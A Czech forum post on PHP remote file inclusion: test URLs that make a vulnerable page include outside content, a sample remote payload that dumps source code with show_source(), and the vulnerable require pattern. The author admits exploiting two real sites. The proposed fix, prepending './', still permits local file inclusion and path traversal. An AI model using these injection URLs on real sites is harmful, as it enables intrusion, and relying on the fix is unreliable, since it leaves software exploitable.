Download | Programy

PHP INJEKCE nebezpečí pro vás

Programovací jazyky, grafika, tvorba webu, SEO, programy pro práci s webem, vyhledávače

Moderátor: Moderátoři

Uživatelský avatar
mozek007
Čestný člen
Příspěvky: 231
Registrován: úte srp 29, 2006 20:03
Kontaktovat uživatele:

PHP INJEKCE nebezpečí pro vás

Příspěvek od mozek007 »

Úvodem

Toto je velmi základní chyba. Kdo má tuto chybu na svém webu, tak mu web "hackne" i 13ti letá holka. Takže proč nechávat útočníkům (lamkám co neumí nic lepšího než ničit) otevřené dveře? Oprava je velmi jednoduchá
Obsahuje můj web tu chybu?

Jestli-že struktura vašich stránek vypadá přibližně takto:
http://mozektevidi.ic.cz/index.php?clanek=php-injekce
je jistá pravděpodobnost, že web je napadnutelný. Pro zkoušku zkus:
http://mozektevidi.ic.cz/index.php?clan ... google.com.
Zobrazil se někde na stánce google? Tak pozor, chyba zde je!
Poznámka: Místo clanek může být cokoliv, např: show, view, go, jdi.., inspiraci se meze nekladou.
Jak takový web najít?

Když už někdo takový web hledá, hledá ho kvůli ničení. Proto zde nebude dávat text, co se má zadat do google.
Jaká je zneužitelnost?

Někdo si řekne:„Co tomu vadí, nějaký google na stránce, pche“. No ale co když adresa bude vypadat třeba takto:
http://mozektevidi.ic.cz/index.php?clan ... script.txt?
To už nastává pro webmastera docela problém. Tímto odkazem provede web cizí script, který může vypadat třeba takto:

Kód: Vybrat vše

<?
show_source("index.php");
?>
To už je docela blbé. Já sám jsem toho využil u pragueexclusive.com nebo u dasilvio.cz Neničil jsem, admina toho webu jsem upozornil
Obrana?

Obrana je jednoduchá. Prakticky jde o to, aby se před proměnou $data vložilo ./. V případě útoku typu
http://mozektevidi.ic.cz/index.php?clan ... /seznam.cz
se nevloží seznam.cz ale ./http://seznam.cz
Špatně

Kód: Vybrat vše

$data= $_REQUEST["g"];
require $data;
Snad dobře

Kód: Vybrat vše

$data= $_REQUEST["g"];
$data = "./". $data;
Závěrem?
Co dodat?
//edit Mark: kod davejte do code, je to pak přehlednější (aspoň myslím), nebo ne? ale code tu je na kod, tak to tak asi bude nejlepší
//edit: Mozek007: JJ, takle to vypadá, když si někdo splete tlačítko náhled s tlačítkem odeslat. A ještě jsem zrovna byl na rychlý lince, tak jsem ani nestačil ESC :-)
Odpovědět